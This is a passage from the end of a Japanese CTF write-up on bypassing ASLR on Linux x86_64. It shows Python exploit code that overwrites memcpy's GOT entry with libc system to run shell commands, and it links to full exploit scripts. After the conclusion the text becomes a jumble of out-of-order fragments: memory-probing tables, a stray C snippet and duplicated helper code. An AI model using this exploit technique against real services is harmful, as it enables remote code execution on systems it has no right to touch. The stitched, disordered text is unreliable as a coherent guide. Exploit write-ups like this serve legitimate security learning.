i += 1
幸運なことに、memcpy@gotをsystemで上書きするだけでフラグを取得し、そのおいしい報奨金を獲得するのに十分だった :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)
in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)
uploadFile(exp.content, 123001)
# profit
getFile(123001)
## 4.7 フラグ!
エクスプロイトは[こちら](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py)にあります。
<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>
エクスプロイトの100%信頼できるバージョンも[こちら](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py)にあります。
## 5. まとめ
このwriteupを楽しんでいただけたなら幸いです。不明な点があれば、遠慮なく[@nick0ve](https://twitter.com/nick0ve)までご連絡ください :)
| mem | 16tb境界クロス? |
|---|
| 0x7fb03b55e010 | いいえ |
| 0x7fa03b55d010 | いいえ |
| 0x7f903b55c010 | いいえ |
| 0x7f803b55b010 | いいえ |
| 0x7f703b55a010 | いいえ |
| 0x7f603b559010 | いいえ |
| 0x7f503b558010 | いいえ |
| 0x7f403b557010 | いいえ |
| 0x7f303b556010 | いいえ |
| 0x7f203b555010 | いいえ |
| 0x7f103b554010 | いいえ |
| 0x7f003b553010 | いいえ |
| 0x7ef03b552010 | はい |
| 0x7ee03b551010 | はい |
| 0x7ed03b550010 | はい |
| 0x7ec03b54f010 | はい |
if (fstat(fd, &sb) != 0) { return NULL; }
/* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
print ('{:#x}'.format(get_off(0xffffffff, 0)))
M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64
print ('{:#x}'.format(get_off(0xffffffff, 0)))
| address | isAddressMapped? |
|---|
| 0x7fe3f0000000 | No |
| 0x7fe3e0000000 | No |
| 0x7fe3d0000000 | Yes |
| 0x7fe3df000000 | No |
| 0x7fe3de000000 | No |
| 0x7fe3dd000000 | No |
| 0x7fe3dc000000 | No |
| 0x7fe3db000000 | No |
| 0x7fe3da000000 | No |
| 0x7fe3d9000000 | No |
| 0x7fe3d8000000 | No |
| 0x7fe3d7000000 | No |
| 0x7fe3d6000000 | Yes |
| 0x7fe3d6f00000 | No |
| 0x7fe3d6e00000 | No |
| 0x7fe3d6d00000 | No |
| 0x7fe3d6c00000 | No |
| 0x7fe3d6b00000 | No |
| 0x7fe3d6a00000 | Yes |
| 0x7fe3d6af0000 | No |
| 0x7fe3d6ae0000 | No |
| 0x7fe3d6ad0000 | No |
| 0x7fe3d6ac0000 | No |
| 0x7fe3d6ab0000 | No |
| 0x7fe3d6aa0000 | No |
| 0x7fe3d6a90000 | No |
| 0x7fe3d6a80000 | No |
| 0x7fe3d6a70000 | No |
| 0x7fe3d6a60000 | No |
| 0x7fe3d6a50000 | Yes |
| 0x7fe3d6a5f000 | No |
| 0x7fe3d6a5e000 | No |
| 0x7fe3d6a5d000 | No |
| 0x7fe3d6a5c000 | No |
| 0x7fe3d6a5b000 | No |
| 0x7fe3d6a5a000 | Yes |